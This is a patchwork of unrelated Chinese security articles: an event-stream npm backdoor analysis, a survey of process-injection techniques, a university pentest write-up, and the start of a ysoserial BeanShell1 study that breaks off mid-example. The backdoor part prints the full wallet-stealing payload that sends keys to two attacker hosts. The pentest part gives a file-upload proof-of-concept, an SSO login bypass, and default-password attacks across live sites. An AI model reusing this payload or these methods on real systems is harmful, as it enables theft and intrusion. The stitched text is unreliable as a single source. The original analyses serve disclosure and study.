这样就好理解多了，下面有一个解密操作，解密的密钥是o，刚才提到了，o是环境变量npm_package_description，因此后门作者是打算有针对性的去利用这个后门。只有密钥（npmpackagedescription）正确才能继续运行下面的代码。
在Github上[I don’t know what to say](https://github.com/dominictarr/event-stream/issues/116)这个讨论中，最终@maths22大神下载了所有的npm包描述，穷举了密钥。密钥为A Secure Bitcoin
Wallet。
@maths22大神还放出了解密源码
直接把o设置为正确密钥，去解密加密字符串。
!(function() {
try {
// 编码函数，下面频繁调用编码函数去解字符串拼接
function e(r) {
return Buffer.from(r, "hex").toString();
}
var n = require(e("2e2f746573742f64617461")),
o = process[e(n[3])][e(n[4])];
o='A Secure Bitcoin Wallet';
if (!o) return;
var u = require(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
console.log(`解密字符串为：${a}`)
var f = new module.constructor();
(f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
} catch (r) {}
})();
输出下面内容：
又发现了一段代码。但是这段代码此时还是字符串，为了让其生效，后门作者new了一个module构造器，然后编译其中的代码使其成为可执行的function。
var f = new module.constructor();
(f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
console.log(`此时f.exports的类型是：${typeof f.exports}`)
继续格式化拿到的新代码：
/*@@*/
module.exports = function(e) {
try {
if (!/build\:.*\-release/.test(process.argv[2])) return;// 用户使用build或者release等参数时执行下面代码
var t = process.env.npm_package_description,// 密钥，还是 A Secure Bitcoin Wallet
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
o = require("crypto").createDecipher("aes256", t),// 解密出新的代码
s = o.update(e, "hex", "utf8");
s = "\n" + (s += o.final("utf8"));
var a = c.indexOf("\n/*@@*/");
0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
try {
r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 将恶意代码写入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中
} catch (e) {}
})
} catch (e) {}
};
这里看到了后门作者第三个鸡贼点：再解密一次。不过思路一模一样了，而且这次代码没有那么晦涩难懂了。
此代码大概干了这些事：在开发者执行build、release等命令时，解密新的代码（最终Payload）将恶意代码写入cordova（一个跨平台应用开发框架）库中的一个文件，然后直接将恶意代码带入打包的应用程序中并最终带到用户终端。
下面解开最后的一段代码：
e = 'db67fdbfc39c249c6f3381...';
t = 'A Secure Bitcoin Wallet';
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
o = require("crypto").createDecipher("aes256", t),// 解密出新的代码
s = o.update(e, "hex", "utf8");
s = "\n" + (s += o.final("utf8"));
console.log(`解密后字符串为${s}`);
var a = c.indexOf("\n/*@@*/");
0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
try {
r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 将恶意代码写入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中
} catch (e) {}
})
输出结果：
格式化最后一段代码，终于发现了后门作者的意图：
/*@@*/ ! function() {
function e() {
try {
var o = require("http"),
a = require("crypto"),
c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";
// 发送http请求，参数为：主机地址，路径，数据
function i(e, t, n) {
e = Buffer.from(e, "hex").toString();
var r = o.request({
hostname: e,
port: 8080,
method: "POST",
path: "/" + t,
headers: {
"Content-Length": n.length,
"Content-Type": "text/html"
}
}, function() {});
r.on("error", function(e) {}), r.write(n), r.end()
}
// 加密数据并发送到两个主机
function r(e, t) {
for (var n = "", r = 0; r < t.length; r += 200) {
var o = t.substr(r, 200);
n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
}
i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) // copayapi.host,111.90.151.134
}
// 获取文件
function l(t, n) {
if (window.cordova) try {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(t, {
create: !1
}, function(e) {
e.file(function(e) {
var t = new FileReader;
t.onloadend = function() {
return n(JSON.parse(t.result))
}, t.onerror = function(e) {
t.abort()
}, t.readAsText(e)
})
})
})
} catch (e) {} else {
try {
var r = localStorage.getItem(t);
if (r) return n(JSON.parse(r))
} catch (e) {}
try {
chrome.storage.local.get(t, function(e) {
if (e) return n(JSON.parse(e[t]))
})
} catch (e) {}
}
}
// 获取用户账号的详细信息并发送 账号信息发送到 http://copayapi.host:8080/c http://111.90.151.134:8080/c
global.CSSMap = {}, l("profile", function(e) {
for (var t in e.credentials) {
var n = e.credentials[t];
"livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
}.bind(n))
}
});
// 重写bitcore-wallet-client/lib/credentials.js中的getKeysFunc函数，发送用户虚拟钱包私钥，私钥信息发送到 http://copayapi.host:8080/p http://111.90.151.134:8080/p
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
} catch (e) {}
return t
}
} catch (e) {}
}
window.cordova ? document.addEventListener("deviceready", e) : e()
}();
通过这段代码可以看出,后门作者获取了一个数字货币钱包APP的用户账号信息和私钥，并分别发送到两个主机名。用户账号信息发送到http://copayapi.host:8080/c和http://111.90.151.134:8080/c然后通过原型重写了bitcore-wallet-client/lib/credentials.js中的getKeysFunc方法，只要在APP运行时调用到了getKeysFunc方法就会将私钥发送到http://copayapi.host:8080/p
http://111.90.151.134:8080/p。
## 事件影响
虽然被写入恶意代码的event-stream包下载量千万，但后门作者明显是针对[bitpay/copay](https://github.com/bitpay/copay)这个项目，只想窃取虚拟货币。
对于开发者，如果使用了Vue、nodemon等软件包基本不受影响。当然该处理还是要处理的。如果使用了copay-dash这个npm包请尽快删除恶意代码并重新打包发布新版APP。
对于虚拟钱包APP用户，近期尽量不要进行虚拟货币交易等待APP升级修复。
## 解决方案
* 查看项目中是否包含flatmap-stream恶意npm包
npm ls event-stream flatmap-stream
...
[email protected]
...
* 降级软件包
npm install [email protected]
## 参考
1. [I don’t know what to say](https://github.com/dominictarr/event-stream/issues/116) | 社区文章 |
# 【技术分享】10种常见的进程注入技术的总结
|
##### 译文声明
本文是翻译文章，文章来源：www.endgame.com
原文地址：<https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=877906634)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
进程注入是一种广泛应用于恶意软件和无文件攻击中的逃避技术，这意味着可以将自定义代码运行在另一个进程的地址空间内。进程注入提高了隐蔽性，也实现了持久化。尽管有非常多的进程注入技术，但是本文我只列举了10种常见的技术。我还提供了这些技术的相关截图以便逆向和恶意软件的分析，并帮助防御这些技术。
**0x01 通过CreateRemoteThread和LoadLibrary的DLL注入**
****
这是进程注入最常见的技术。恶意软件将恶意的动态链接库的路径写入另一个进程的虚拟地址空间内，通过在目标进程中创建远程线程来确保远程进程加载它。
恶意软件首先需要选择目标进程（例如svchost.exe）。通常使用API：CreateToolhelp32Snapshot,
Process32First, 和
Process32Next来完成。CreateToolhelp32Snapshot是个用于枚举指定进程或所有进程的堆或模块的状态，并且它返回一个快照。Process32First得到快照中的第一个进程的信息，然后Process32Next来遍历所有的进程。在找到目标进程后，恶意软件调用OpenProcess得到目标进程的句柄。
如上图所示，恶意软件调用VirtualAllocEx得到写入路径的内存空间。然后调用WriteProcessMemory在分配的内存中写入路径（动态链接库）。最后，调用API（如CreateRemoteThread、NtCreateThreadEx、RtlCreateUserThread）使得另一个进程执行代码。后两个API是未文档化的。然而，通常想法是将LoadLibrary的地址传入这些API中的一个，以便远程进程执行DLL。
CreateRemoteThread被许多安全产品跟踪并标记。而且，它在磁盘上面留下了一个恶意的DLL可供检测。考虑到攻击者注入代码最常见的目的是逃避防御，高明的攻击者不会使用这种方式。下面是名为Rebhip（Sha256:
07b8f25e7b536f5b6f686c12d04edc37e11347c8acd5c53f98a174723078c365）的恶意软件使用了这种技术。
**
**
**0x02 可执行文件注入（PE注入）**
****
恶意软件并不传入LoadLibrary的地址，而是拷贝恶意代码到打开的进程中并执行（通过小段shellcode或者调用CreateRemoteThread）。与LoadLibrary相比，PE注入的优势是恶意软件不需要在磁盘中释放一个恶意的DLL。与上个技术类似，恶意软件在目标进程中分配内存，调用WriteProcessMemory将恶意代码而不是DLL路径写入内存。然而，这种方式的缺陷是被复制的映像的基址的改变。当一个恶意软件注入PE到另一个进程，它的新基址是不可预料的，需要动态重新计算PE的地址。为了完成这个，恶意软件需要找到目标进程的重定位表，并根据它的重定位描述解析被复制映像的绝对地址。
这种技术和其他技术很类似，如反射DLL注入和内存模块加载，因为他们都不释放任何文件到磁盘。但是，内存模块和反射DLL注入更加隐蔽。他们不依赖Windows
API（如CreateRemoteThread或LoadLibrary），因为他们在内存中加载并执行自身。反射DLL注入通过在内存中创建一个DLL映射执行，而不依赖Windows的加载器。内存模块加载和反射DLL注入类似，其不同之处只是在于内存模块加载的注入器或加载器负责映射目标DLL到内存中而不是DLL自身映射。在之前的[博文](https://www.endgame.com/blog/technical-blog/hunting-memory)中，讨论过这两种技术。
当分析PE注入时，在调用CreateRemoteThread之前通常能看见循环（通常是两个for循环，一个嵌套在另一个中）。这种技术在crypter（加密和混淆软件）中非常流行。下图中的样本（Sha256:
ce8d7590182db2e51372a4a04d6a0927a65b2640739f9ec01cfd6c143b1110da）充分利用了这种技术。在调用WriteProcessMemory和CreateRemoteThread之前有两层循环来处理重定位。“and
0x0fff”指令也是一个比较好的表征，它标明了头12位用于得到包含重定位块的虚拟地址的偏移量。现在恶意软件重新计算了所有需要的地址了，只需要将起始地址传入CreateRemoteThread并执行就行了。
**0x03 进程hollow（又名进程替换和RunPE）**
****
恶意软件有一种技术叫进程hollow，而不是注入代码到程序中（如DLL注入）。进程hollow发生在恶意软件unmap目标进程的合法内存代码，并使用恶意的代码覆写目标进程的内存（如svchost.exe）的时候。
恶意软件首先以挂起模式创建一个新进程来容纳恶意代码。如下图（Sha256:
eae72d803bf67df22526f50fc7ab84d838efb2865c27aef1a61592b1c520d144），以CREATE_SUSPENDED
(0x00000004)为参数调用CreateProcess。新进程的主线程创建后就处于挂起状态，直到调用ResumeThread才会继续执行。接下来，恶意软件需要使用恶意的payload来填充合法文件的内容。调用ZwUnmapViewOfSection或者NtUnmapViewOfSection来unmap目标进程的内存。这两个API将释放section指向的所有内存。内存unmap之后，使用WriteProcessMemory将恶意软件的节写入目标进程。调用SetThreadContext将入口点指向它已写入的新的代码节。最后，调用ResumeThread恢复挂起进程的执行。
**0x04 线程执行劫持（又名挂起、注入并恢复）**
****
这种技术类似于进程hollow。在线程执行劫持中，恶意软件的目标是进程中已存在的线程，而且没有创建任何进程或线程。因此，在分析期间你可能看见CreateToolhelp32Snapshot和Thread32First、OpenThread。
在得到目标线程的句柄后，恶意软件调用SuspendThread将线程挂起。调用VirtualAllocEx和WriteProcessMemory来分配内存并执行代码注入。代码包含shellcode，恶意DLL的路径和LoadLibrary的地址。
下图（Sha256:
787cbc8a6d1bc58ea169e51e1ad029a637f22560660cc129ab8a099a745bd50e）描述了一个普通木马是如何使用这种技术的。为了劫持线程的执行，恶意软件调用SetThreadContext修改目标线程的EIP寄存器（包含下条执行指令的地址的寄存器）。随后，恶意软件恢复线程继续执行它已写入到宿主进程的shellcode。从攻击者的角度看，这种方式是有问题的，因为在系统调用的中途挂起并恢复线程可能引起系统崩溃。为了避免这种情况的发生，更复杂的利用技术是，一旦EIP寄存器在NTDLL.dll中就恢复并重试。
**0x05 通过SetWindowsHookEx钩子注入**
****
钩子是用于拦截函数调用的一种技术。恶意软件能利用指定线程中事件触发来加载他们的恶意DLL。通常使用SetWindowsHookEx来安装消息钩子。SetWindowsHookEx有4个参数。第一个参数是事件的类型。事件有很多的[类型](https://msdn.microsoft.com/en-us/library/windows/desktop/ms644959\(v=vs.85\).aspx)，有键盘按键（WH_KEYBOARD）和鼠标输入（WH_MOUSE）等。第二个参数是个函数指针，指向恶意软件想要处理事件的函数。第3个参数是包含函数的模块。因此，通常可以看见LoadLibrary、GetProcAddress、SetWindowsHookEx。最后一个参数是消息钩子关联的线程。如果值为0，则针对所有线程。然而，只针对某个线程的目标会小很多，因此也可能看见CreateToolhelp32Snapshot和Thread32Next。一旦DLL被注入后，恶意软件将执行恶意代码。下图中，勒索软件Locky（Sha256:
5d6ddb8458ee5ab99f3e7d9a21490ff4e5bc9808e18b9e20b6dc2c5b27927ba1）就使用了这种技术。
**
**
**0x06 通过注册表修改（如AppInit_DLLs，AppCertDlls，IFEO）**
****
Appinit_DLL, AppCertDlls, IFEO（映像劫持）可以用于注入和持久化。完整的路径如下：
**AppInit_DLLs**
恶意软件能在AppInit_DLLs键下插入恶意的DLL的路径，以便其他进程加载。该键下每个DLL会被加载到所有的加载User32.dll的进程中。User32.dll是常见的Windows基础库。因此，当恶意软件修改这个子键时，大量进程将加载恶意的DLL。下图中，木马Ginwui（Sha256:
9f10ec2786a10971eddc919a5e87a927c652e1655ddbbae72d376856d30fa27c）依赖了这种技术。它通过调用RegCreateKeyEx打开AppInit_DLLs键，并调用RegSetValueEx修改它。
**AppCertDlls**
这种方式类似与AppInit_DLLs，除了该键下的DLL会加载到调用Win32 API CreateProcess,
CreateProcessAsUser, CreateProcessWithLogonW, CreateProcessWithTokenW,
WinExec的进程中。
**IFEO**
IFEO通常用于调试。开发者能在该键下设置调试器，来附加调试。因此，当可执行文件启动时，附加到它的程序也会启动。为了使用这功能，你能简单的设置调试器的路径，并附加到你想分析的可执行文件上。下图，木马Diztakun（Sha256:
f0089056fc6a314713077273c5910f878813fa750f801dfca4ae7e9d7578a148）使用了这种技术，它修改了任务管理器的调试器的值。
**
**
**0x07 APC注入和AtomBombing**
****
恶意软件利用异步过程调用（APC）来强制另一个线程执行附加到APC队列的自定义代码。每个线程都有一个APC队列，当线程进入可变状态（编辑注:
这里疑为英文原文的拼写错误，有两处使用了alterable state一词，而一处使用了alertable state，疑应为alterable
state）时，可以被执行。当调用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx,
WaitForMultipleObjectsEx,
WaitForSingleObjectEx时进入可变状态。恶意软件通常查询线程是否处于可变状态，然后调用OpenThread和QueueUserAPC来向线程插入APC。QueueUserAPC有3个参数：1.
目标线程的句柄 2. 恶意软件想要执行的函数指针 3. 传给函数的参数。下图，恶意软件Amanahe（Sha256:
f74399cc0be275376dad23151e3d0c2e2a1c966e6db6a695a05ec1a30551c0ad）首先调用了OpenThread来得到另一个线程的句柄，然后调用QueueUserAPC，以LoadLibrary作为函数指针注入恶意DLL。
AtomBombing由[enSilo](http://blog.ensilo.com/atombombing-a-code-injection-that-bypasses-current-security-solutions)首次提出，然后在Dridex
V4中使用。正如之前博文中讨论的，这种技术也依赖APC注入。然而它使用atom表来写入到另一个进程的内存。
**
**
**0x08 通过SetWindowLong的窗口内存注入（EWMI）**
****
EWMI依赖注入到资源管理器托盘窗口内存中，并在恶意软件家族Gapz和PowerLoader中使用多次。当注册一个窗口类时，应用程序能指定额外的内存字节，称为额外的窗口内存（EWM）。然而，在EWM中没有太多的空间。为了规避这个限制，恶意软件将代码写入explorer.exe的共享段中，并使用SetWindowLong和SendNotifyMessage得到一个指向shellcode的函数指针，然后执行它。
当写入共享段时，恶意软件有两个选项。它能创建一个共享段自己映射到另一个进程（如explorer）中，或者打开一个已存在的共享段。前者有分配堆内存的开销，而且还要调用NtMapViewOfSection等API，因此后者更常用。在恶意软件将shellcode写入共享段后，使用GetWindowLong和SetWindowLong来访问并修改Shell_TrayWnd的额外的窗口内存。GetWindowLong是用于通过32位值作为偏移得到窗口类对象中额外窗口内存，同时使用SetWindowLong能改变指定偏移的值。通过完成这个，恶意软件能改变窗口类中的函数指针，将它指向共享段的shellcode。
和上述的技术一样，恶意软件需要触发写入的代码。之前说，它是通过调用类似CreateRemoteThread，SetThreadContext，QueueUserAPC这些API来实现的。与之前不同的是，这种技术是通过使用SendNotifyMessage来触发代码执行的。
一旦执行SendNotifyMessage，Shell_TrayWnd将接收到并将控制移交给SetWindowLong设置的地址。下图，名为[PowerLoader](https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html)（Sha256:
5e56a3c4d4c304ee6278df0b32afb62bd0dd01e2a9894ad007f4cc5f873ab5cf）的恶意软件使用了这种技术。
**
**
**0x09 使用Shims注入**
****
微软提供了[Shims](https://technet.microsoft.com/en-us/library/dd837644\(v=ws.10\).aspx)给开发者，这主要是为了向后兼容。Shims允许开发者不必重写代码就能修复程序。通过利用shims，开发者告诉操作系统如何处理他们的应用程序。Shims本质是Hook
API的方式。恶意软件能利用shims实现注入和持久化。当加载二进制时，Windows运行Shim引擎以检查shim数据库，以便使用合适的修复。
有很多修复可以利用，但是恶意软件最喜欢的是一些安全相关的（如DisableNX, DisableSEH,
InjectDLL等）。为了安装一个shim数据库，恶意软件部署了[多种方式](https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf)。例如，常见的一种方式是执行sdbinst.exe，并将它指向恶意的sdb文件。如下图，一个广告软件“Search Protect by
Conduit”（Sha256:
6d5048baf2c3bba85adc9ac5ffd96b21c9a27d76003c4aa657157978d7437a20），使用shim来实现了持久化和注入。它执行一个“InjectDLL”shim到谷歌chrome中加载vc32loader.dll。有一些现成的工具可以分析sdb文件，下面是我使用[python-sdb](https://github.com/williballenthin/python-sdb)分析的结果。
**
**
**0x0A IAT hook和Inline hook（应用层rootkit）**
****
IAT hook和inline hook通常也叫应用层rootkit。IAT
hook使用用于改变导入地址表的技术。当合法的程序调用位于DLL中API时，将会执行被替换的API。相反，在inline
hook中，恶意程序修改API函数本身。如下图，恶意软件FinFisher（Sha256:
f827c92fbe832db3f09f47fe0dcaafd89b40c7064ab90833a1f418f2d1e75e8e），IAT就hook了CreateWindowEx。
**
**
**0x0B 总结**
****
本文中，我描述了恶意软件用于隐藏自身行为的10种不同的技术。通常，恶意软件直接注入shellcode到另一个进程中或者强制其他进程加载恶意DLL。如下表，我已经将不同的技术进行了分类，并提供了样本，用于查看在本文提到的每个注入技术。这可以帮助研究者用于在逆向时识别各种技术。
攻击者和研究员一直在研究新的注入和隐蔽的技术。本文介绍了10种常见的技术，但是还有其他的，如[COM劫持](https://www.endgame.com/blog/technical-blog/how-hunt-detecting-persistence-evasion-com)。防御者任重道远。 | 社区文章 |
**PS:日常刷EDUSRC思路~~~~ 欢迎各位大佬指点不足**
**废话:**
因为之前发过了一篇文章:[实战渗透-从敏感文件泄露到Getshell](https://xz.aliyun.com/t/8059 "实战渗透-从敏感文件泄露到Getshell")
内容是通过扫描备份文件得到文件源代码进行代码审计，所以自己打算写一个专门扫描此类信息的工具。
主要是以异步的方式去实现批量扫描指定目录或文件，不过功能比较单一，是以响应头里面的Conten—Type做为判断。主要是为了速度。。毕竟用的aiohttp,aiomysql
如:
RAR文件: Content-Type: application/octet-stream
ZIP文件: Content-Type: application/x-zip-compressed
目前还没有写完。。部分功能均已实现.预计下周会开源到github上，欢迎各位体验。
同时，队里的Kemoon师傅也写了一个针对信息泄露的工具 (.svn,.git,.rar,.zip)
github地址:<https://github.com/lakemoon602/snail2.0>
**正文:**
**0x01：**
在测试程序的期间,对部分网站进行了一些备份文件扫描：
扫描规则如下:
asds.XXXXXXX.com / asds.zip || asds.rar
abc.XXXXXXX.com / abc.zip || abc.rar
test.asds.XXXXXXX.com / test.zip || test.rar
在其中一个站点得到了文件备份。具体格式如下:
是一个监测平台的源代码程序，分析了内容。具体信息如下:
中间件: Tomcat
开发框架: Spring MVC
数据库: Oracle
默认账户密码: System ****2020
在web.xml中可以清楚的看到
程序对一些访问地址进行了登录过滤，除了一些images和scrpits，css目录可以访问，其他目录都会重定向/login.jsp
在web.xml中没有发现其它存在敏感操作的Servlet地址，所以，当下最重要的事情是解决未登录的问题。
由于之前在配置文件中发现了默认账户密码的信息，那么还是老方法。
收集同系统站点-挨个挨个测。
fofa一条龙服务~
挨个挨个站点的测试，最终在第五页测出了一个没有修改默认密码的站点。(总体看来默认密码的用处不会太大了)
权限为系统管理员。。还是蛮大的。
这里解决了未登录的问题，那么接下来就可以想办法getshell了。
由于是MVC模式，直接在代码层中找到Controller控制器即可。这里直接全局搜索一波upload
还挺多的，开始一个一个分析。
由于是Spirng MVC，路由地址会定义在方法上
如:
@RequestMapping(method = {RequestMethod.POST}, value = {"/test/test})
注册路由地址为/test/test ，且只接受POST请求
随意点开一处包含upload关键词的方法，可以看到60行进行了白名单验证:
只允许:docx,pdf,doc,xls,xlsx 后辍的文件上传
这里的验证是直接写在方法体中的，所以可以明显看出效验的操作。
如果效验是以单独的方法处理的，使用JD可以快速追踪对应方法，进行查看。
最终在某处发现了未效验的文件上传操作:
主要代码如下:
String type = matUrl.getOriginalFilename().substring(matUrl.getOriginalFilename().lastIndexOf("."));
String OriginalFilename = matUrl.getOriginalFilename().substring(0, matUrl.getOriginalFilename().lastIndexOf("."));
String saveName = System.currentTimeMillis() + type;
String saveName2 = OriginalFilename + type;
String contextPath = request.getSession().getServletContext().getRealPath("/upload");
File savefile = new File(contextPath + "/" + saveName);
File matsupportFile = new File(contextPath);
if (!matsupportFile.exists())
matsupportFile.mkdirs();
if (!savefile.exists())
savefile.createNewFile();
其中type是获取文件后辍的
String type = matUrl.getOriginalFilename().substring(matUrl.getOriginalFilename().lastIndexOf("."));
OriginalFilename 为上传文件名
String OriginalFilename = matUrl.getOriginalFilename().substring(0, matUrl.getOriginalFilename().lastIndexOf("."));
那么如果会进行文件效验，可以是跟type进行对比。直接追踪方法在哪里使用了type变量即可
最终调用的两处都是字符拼接，saveName，saveName2.并没有进行任何效验操作。
接着往下走
这里指定了文件存储目录为upload
String contextPath = request.getSession().getServletContext().getRealPath("/upload");
后面的就是存储文件的代码了
File savefile = new File(contextPath + "/" + saveName);//最终文件存储名
File matsupportFile = new File(contextPath);//通过将给定路径名字符串转换成抽象路径名来创建一个新 File 实例。
if (!matsupportFile.exists()) //如果目录不存在，则创建
matsupportFile.mkdirs();
if (!savefile.exists())//如果文件不存在，则创建
savefile.createNewFile();
matUrl.transferTo(savefile);
这里要注意: 开始的时候定义了两个变量名: saveName和saveName2.最终存储的是saveName
String saveName = System.currentTimeMillis() + type;
System.currentTimeMillis() == new Date()
saveName是时间转换后的内容+文件后辍
OK，这样下来这里肯定是可以直接getshell的。还是老样子。构造POC:
<form action="地址" method="post" enctype="multipart/form-data" >
<input type="file" name="Filedata"/>
<input type="submit" value="提交"/>
</form>
由于过滤器的问题，这里是需要替换下已登录账户的Cookie的。
上传JSP代码如下:
<%String name = "yuanhai";%>
<h1>hello<%=name%></h1>
得到文件地址 并访问:
注意(web.xml中并未设置upload无需登录，所以访问upload下的文件也需要登录。如果是上传一句话，别忘记设置Cookie)
成功执行代码~
**0x02**
由于这个比较鸡肋。所有敏感操作都需要登录才行。。看着fofa搜索结果足足有79条。。。
79个站点=3x6(18)+76x3(228) = 246分，卧槽。一波246分，这谁经得住诱惑。必须干穿他！
交一个站点 = 6分， 交79个站点 = 246分
于是继续审计:
由于web.xml的登录过滤，搞得十分憋屈，只能死马当活马医。心里想:"会不会有/image/或者/scripts/开头的路由地址?"
虽然这个想法不太现实。但也不是没有可能。
全局搜索了下 image , script , css 等web.xml没有限制的路径。
不得不说运气十分的好！！！！！！！！
在SSOcontroller下面发现一处以/CSS开头的路由地址
SSO???
单点登录(SingleSignOn，SSO)，就是通过用户的一次性鉴别登录。当用户在身份认证服务器上登录一次以后，即可获得访问单点登录系统中其他关联系统和应用软件的权限，同时这种实现是不需要管理员对用户的登录状态或其他信息进行修改的，这意味着在多个应用系统中，用户只需一次登录就可以访问所有相互信任的应用系统。这种方式减少了由登录产生的时间消耗，辅助了用户管理，是目前比较流行的
简单的说，就是常见的统一身份认证系统。这个在每个高校基本都有一个。目前主流SSO有，金智，联亦，正方。等等
一般来说，SSO是通过ticket来进行身份效验，这个一般可以逆向解码出来。
但是看了下这个认证逻辑:
挨个分析:
先看第一层if
获取请求头里的Referer
String referer = request.getHeader("REFERER");
if (this.urlIP == null) //如果urlip为null。
this.urlIP = SysDataCache.getParamValue("urlIP");
if (this.urlDomain == null) //urlIP，urlDomain 这个无法在请求头里定义。是从系统配置里获取
this.urlDomain = SysDataCache.getParamValue("urlDomain");
第二次if
if (referer != null) { //如果referer不为空。那么执行下面的
if ((this.urlIP.length() > 0 || this.urlDomain.length() > 0) &&
referer.indexOf(this.urlIP) != 0 && referer.indexOf(this.urlDomain) != 0) {
System.out.println("REFERER:" + referer);
System.out.println("urlIP:" + this.urlIP);
System.out.println("urlDomain:" + this.urlDomain);
request.setAttribute("msg", ");
request.getRequestDispatcher("/error.jsp").forward((ServletRequest)request, (ServletResponse)response);
return mav;
}
} else { //当referer为空时。跳转到/error.jsp
System.out.println("REFERER:" + referer);
System.out.println("urlIP:" + this.urlIP);
System.out.println("urlDomain:" + this.urlDomain);
request.setAttribute("msg", ");
request.getRequestDispatcher("/error.jsp").forward((ServletRequest)request, (ServletResponse)response);
return mav;
}
主要的是
if ((this.urlIP.length() > 0 || this.urlDomain.length() > 0) &&
referer.indexOf(this.urlIP) != 0 && referer.indexOf(this.urlDomain) != 0)
这里是判断urlIP和urlDomain的长度的。这个我们没法定义，是从系统配置里获取。可以不用管。只需要在请求头里添加属性referer就可以。
那么这层逻辑满足。
往下走。
if ("admin".equals(xxx)) { //xxx为接受参数。这里把接受参数和admin进行对比。也就是说不能登录admin账户
request.setAttribute("msg", ");
request.getRequestDispatcher("/error.jsp").forward((ServletRequest)request, (ServletResponse)response);
return mav;
}
System.out.print("+ xxx);
User dbUser = this.userService.getUserByUserID(xxx);
if (dbUser == null) {
mav.addObject("msg", "+ xxx + "));
mav.setViewName("/error");
} else if (dbUser.getLocked().intValue() == 1) {
mav.addObject("msg", "+ xxx + "));
mav.setViewName("/error");
} else {
mav = this.userLoginController.login(request, dbUser, "1");
Map tmp = mav.getModel();
String forwardURL = (tmp.get("forwardURL") == null) ? "" : tmp.get("forwardURL").toString();
System.out.print(forwardURL);
return new ModelAndView("forward:" + forwardURL + "");
}
主要的是
User dbUser = this.userService.getUserByUserID(xxx);
这里的getUserByUserID。看一下后端是根据什么查询。
这里看了下 userid 就是账户名：
也就是说:
User dbUser = this.userService.getUserByUserID(xxx);
if (dbUser == null) {
mav.addObject("msg", "+ xxx + "));
mav.setViewName("/error");
} else if (dbUser.getLocked().intValue() == 1) {
mav.addObject("msg", "+ xxx + "));
mav.setViewName("/error");
} else {
当传入账户存在，且不为admin，且不被锁定。那么可以直接登录。
下面这段代码直接证实了猜想。
} else {
mav = this.userLoginController.login(request, dbUser, "1");
Map tmp = mav.getModel();
String forwardURL = (tmp.get("forwardURL") == null) ? "" : tmp.get("forwardURL").toString();
System.out.print(forwardURL);
return new ModelAndView("forward:" + forwardURL + "");
}
调用了userLoginController.login 直接传入dbUser。执行登录操作。
那么实践
这里可以直接爆破用户
成功登录
那么集合之前的文件上传。。。。。美滋滋 | 社区文章 |
# ysoserial-BeanShell1利用链研究
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景介绍
### BeanShell
前面的利用链，网上大多找到了分析文章，很遗憾这篇没有了，所以要自己着手开始分析。
我的思路是首先从import的包入手。了解多java后，很多时候能从包名看出程序会采用到什么功能如动态代理，字节码编程之类的。其次就是当你不太了解这个程序时，去查查包名，有时候大概率能知道这个包内的大概作用。对于像我们这样分析漏洞的人来说，了解有哪些包还可以很快定位到漏洞点。所以开始吧！
#### inport bsh
import bsh.Interpreter;
import bsh.XThis;
##### BeanShell
事实上我一开始并没有看出bsh和beanshell的关系。。。不过没关系，[Beanshell](http://www.beanshell.org/manual/bshmanual.html)是用Java写成的，一个小型的、免费的、可以下载的、嵌入式的Java源代码解释器，具有对象脚本语言特性。BeanShell执行标准Java语句和表达式，另外包括一些脚本命令和语法。
例如，最经典的hello world：
// File: helloWorld.bsh
helloWorld() {
print("Hello World!");
